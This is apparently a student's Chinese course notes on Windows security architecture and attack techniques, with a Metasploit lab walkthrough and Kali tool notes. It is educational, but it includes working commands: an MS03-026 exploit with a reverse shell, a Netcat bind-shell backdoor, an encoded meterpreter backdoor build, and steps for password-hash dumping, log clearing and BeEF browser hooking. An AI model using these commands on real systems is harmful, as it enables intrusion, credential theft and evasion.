《网络攻防技术》第七章
7.1Windows操作系统基本框架概述
7.1.1Windows操作系统的发展与现状
7.1.2Windows操作系统的基本结构
Windows操作系统的基本机构如下图所示,分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理机非特权模式(ring 3)的用户空间代码。
Windows操作系统内核的基本模块包括如下:
- Windows执行体:即Windows内核核心文件ntoskrnl.exe的上层接口,包括基本的操作系统内核服务。
- Windows内核体:即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理机同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
- 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。
- 硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码
- Windows窗口与图形界面接口内核实现代码:即win 32k.sys文件。
Windows操作系统在用户态的代码模块则包括如下:
- 系统支持进程:Windows开机自动启动的系统内建服务进程。
- 环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
- 服务进程:通过Windows服务管理机制所启动的一系列系统及网络服务。
- 用户应用软件:在用户态执行的各类用户应用软件。
- 核心子系统DLL:即kernel32.dll/user32.dll/advapi32.dll等动态连接库文件。
Windows操作系统内核中实现了如下的核心机制:
- Windows进程和线程管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows网络机制
7.2Windows操作系统的安全体系结构与机制
7.2.1Windows安全体系结构
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求。
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。引用监控器模型是安全操作系统设计的一种经典模型,如下图所示:
基于引用监控器这一经典安全模型,Windows操作系统以下图所示的安全体系结构来设计实现基础的安全机制,其中最为核心的是位于内核的SRM来安全引用监控器,以及位于用户态的LSASS安全服务。
7.2.2Windows身份认证机制
Windows操作系统以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows身份认证机制实现原理:
7.2.3Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
对象安全描述符属性:
- Owner SID:对象所有者的SID安全标识符
- Group SID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)。
- DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象。
- SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
Windows系统的基本访问控制机制与对象安全模型:
7.3Windows远程安全攻防技术
在攻击者获得Windows系统上的访问立足点之前,他们首先需要通过一些远程攻击技术,来进入到Windows系统中,目前Windows远程攻击技术可以分为以下几大类。
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
使用Metasploit软件实施渗透测试
Metasploit软件提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式,可以在终端中输入help命令来查询所支持的各种命令,主要命令及功能描述如下表所示:
使用Metasploit Console终端实施渗透测试的命令如下:
(1)use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03-026漏洞的渗透攻击模块,在选择前可以使用 show modules列举软件支持的所有渗透攻击模块,或使用search命令来搜索期望的渗透攻击模块;
(2)set PAYLOAD generic/shell_reverse_tcp,选择该渗透攻击模块适用的攻击负载模块,可使用show payloads列举出所有适用的负载模块;
(3)set LHOST 192.168.200.2;setRHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数,可以使用show options来查看当前的参数列表及其默认设置,另外经常需要使用“show targets”和“set TARGET数字”命令来选择渗透攻击模块的目标操作系统平台类型;
(4)exploit,实施渗透攻击过程,如果正确配置相关参数,且目标系统存在相应的漏洞,那么Metasploit将成功破解目标系统,植入并运行攻击负载代码,给出远程控制会话;
(5)在远程控制会话中与目标主机进行交互,可能需要执行“sessions -l”列出当前已建立的远程控制会话,并执行“sessions -i 数字”在指定的攻击控制会话中与远程目标主机进行交互。
7.4Windows本地安全攻防技术
7.4.1 Windows本地特权提升
在攻击者获得Windows系统上的受限用户权限之后,他们讲立即着眼于获得终极特权:Administrator或Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。
7.4.2Windows敏感信息窃取
在获得Administrator用户权限之后,攻击者通常会继续在系统上收集和窃取一些敏感信息,从而帮助他们扩大战果,在局域网络中攻陷更多的系统。Windows系统中最吸引攻击者的敏感信息首先莫过于本地保存的各种口令字,攻击者一旦破译了这些口令字,他们就很有可能利用这些口令,来尝试登录本地网络或目标用户其他的系统资源。
- Windows系统口令字密文提取技术
(1)从另一操作系统启动后拷贝文件系统中的口令密文文件,这需要攻击者对目标系统拥有物理访问权限,能够在物理主机设备上插上可启动光盘或U盘,并重启系统,通过攻击者控制的操作系统对系统磁盘上的密文文件进行获取。这种攻击途径在远程攻击中无法实施。
(2)利用磁盘修复工具包中的rdisk工具,执行“rdisk/s-”命令创建SAM备份文件副本。
(3)使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。 - Windows系统口令字破解技术
L0phtCrack是一款非常经典的Windows口令破解软件,由著名的L0pht黑客团队出品。L0phtCrack支持多种口令字密文数据格式,包括本地注册表、原始SAM文件、SAM备份文件、网络监听口令字密文、L0phtCrack自主格式、pwdumpX系统输出文件格式等,并综合使用了字典、暴力破解、组合破解和彩虹表等密码破解技术,能够很快恢复出强度比较弱的用户口令字。
另一款著名的口令字破解软件是John the Ripper,但主要用于破解UNIX/Linux系统的口令字,也支持Windows上的口令破解,但其缺陷是只能破解LanMan协议哈希加密的口令,而不支持对NTLM协议加密进行破解。 - 用户敏感数据窃取
- 本地敏感信息窃取防范措施
7.4.3 Windows消踪灭迹
在攻击者获得Windows系统的Administrator权限,并窃取了他所感兴趣的敏感信息之后,攻击者会想尽一切办法来避免被人觉察他们的存在。他们会把各种入侵的痕迹进行删除或者掩盖,使得系统的用户或管理员无法意识到系统已被攻陷,从而保证攻击者对系统的长期控制。
- 关闭审计功能
- 清理事件日志
- 针对消踪灭迹的防范措施
7.4.4 Windows远程控制与后门程序
攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。
- 命令行远程控制工具
在安全业界具有“瑞士军刀”之称的Netcat工具是攻击者们最常用的命令行远程控制工具,也提供了Windows版本。Netcat可以通过“nc -L -d cmd.exe -p 80 ”命令启动后门服务,监听所配置的TCP80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe,来执行任意的操作。
Windows系统上默认开放的SMB服务也可以提供命令行远程控制,使用来自sysinternal的psexec工具,就可以直接通过SMB服务接口。
Metasploit渗透测试软件中的Meterpreter攻击负载模块也是一个功能非常丰富和强大的命令行远程控制工具。 - 图形化远程控制工具
VNC、Remote Admin、PCAnyware - 针对后门程序的防范措施
针对远程控制后门程序,在一台已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件,如Sysinternals的RootkitRevealer、国内的IceSword冰刃等。
实践练习
实践练习在课上已完成,下面给出简要步骤与截图:
1.首先给出IP地址:
- 目标机IP:192.168.11.116
- 攻击机IP:192.168.11.148
2.开启msfconsole终端,Kali 2.0开启数据库模式:
- /etc/ini.d/postgresql start或者service postgresql start
- msfdb init
- msfconsole
3.使用search命令搜索对应模块,然后启用搜索到的渗透攻击模块查看基本信息,查找该模块所适用攻击载荷模块。
4.选择攻击模块generic/shell_reverse_tcp执行如下命令。
5.查看选择攻击载荷模块进行渗透攻击所需的配置选项。适用show options查看配置选项,show targets查看渗透攻击可以渗透攻击的目标平台,选择操作系统,可以看到该模块支持的操作系统平台版本非常丰富。
6.根据目标情况配置渗透攻击各个选项,具体代码如下, set target 不确定操作系统是可以选择0。
7.使用“exploit”命令发起渗透攻击,显示已入侵成功,使用ipconfig命令验证目标系统的ip地址。
Kali视频学习(26-30)
26.漏洞利用之检索与利用
漏洞利用工具集
1.Exploit Database->searchsploit
2.pattern create
测试漏洞
armitage
结合MSF进行利用
3.jboss-autopwn-linux/win
专门针对Jboss的漏洞利用工具
4.ikat
自动化开启,等待目标访问中招。
5.termineter
评估智能电表的安全性。
27.漏洞利用之Metasploit基础
1.启动服务
在Kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录
- service postgresql start
- service metasploit start
如果不想每次开机都手工启动服务,可以配置随系统启动
- update-rc.d postgresql enable
- update-rc.d metasploit enable
2.路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块。
encoders:供msfencode编码工具使用,具体可以使用 msfencode -l。
exploits:攻击模块,每个介绍msf的文件都会提到哪个ms08_067_netapi,它就在这个目录。
payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里。
3.基本命令
msfpayload:用来生成payload或者shellcode。
搜索的时候可以用msfpayload -l |grep “windows”这样的命令查询
-o 选项可以列出payload所需的参数
msfencode:
msf中的编码器,早期为了编码绕过AV,现在常用msfpayload与它编码避免exploit的坏字符串。
msfconsole:
开启metasploit的console
测试内容已在实践中完成
28.漏洞利用之Metepreter介绍
meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
常用的命令:
- background:将当前会话放置后台
- load/use:加载模块
- Interact:切换进一个信道
- migrate:迁移进程
- run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute、hanshdump、arp_scanner,multi_metor_inject等。
- Resource:执行一个已有的re脚本常用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对Windows操作系统,反向连接shell,使用起来比较稳定
1.生成meterpreter后门
命令:msfpayload windows/meterpreter、reverse_tcp LHOST=192.168.199.161 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
2.监听设置
生成的后门需要有相应的监听。打开metasploit的console,配置一个反弹会话处理程序:
3.meterpreter shell
当目标机器成功执行backdoor.exe后,我们就取得了一个 meterpreter shell 。输入background返回msf,如果想返回meterpreter shell,输入sessions查看ID,输入sessions -i ID选择想返回的会话。
在meterpreter shell中输入help查看可执行的命令,如sysinfo显示目标系统信息,hashdump抓取哈希,pwd显示当前路径等。
meterpreter还有一些扩展工具,使用load + tab键查看这些工具,然后选择所需工具进行使用(load mimikatz 用来抓取系统明文)。
29.漏洞利用之metasploit后渗透测试
因实验环境问题,只写出操作步骤,未进行实验
1.查看当前网卡、网段信息
2.添加路由表
命令:run autoroute -s 10.0.0.1
3.开Socks代理
通过使用auxiliary/server/socks4a,创建一个Socks代理,可以为浏览器,Sqlmap、Nmap等使用。
通过代理,此时主机已经可以访问内网计算机了
30.漏洞利用之BEFF
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具
1、命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:
初始用户名和密码为:beef和beef 左侧为目标的浏览器
2、假设被测试主机由于XSS漏洞请求到 http://192.168.200.152:3000/demos/basic.html
左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。
3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
其中,四种颜色分别表示:
该攻击模块可用,但隐蔽性强
该攻击模块可用,但隐蔽性差
该用户模块是否可用还有待验证
该攻击模块不可用
选取MISC下Raw JavaScript模块作为测试用例
执行,查看返回结果,成功则显示
4、代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。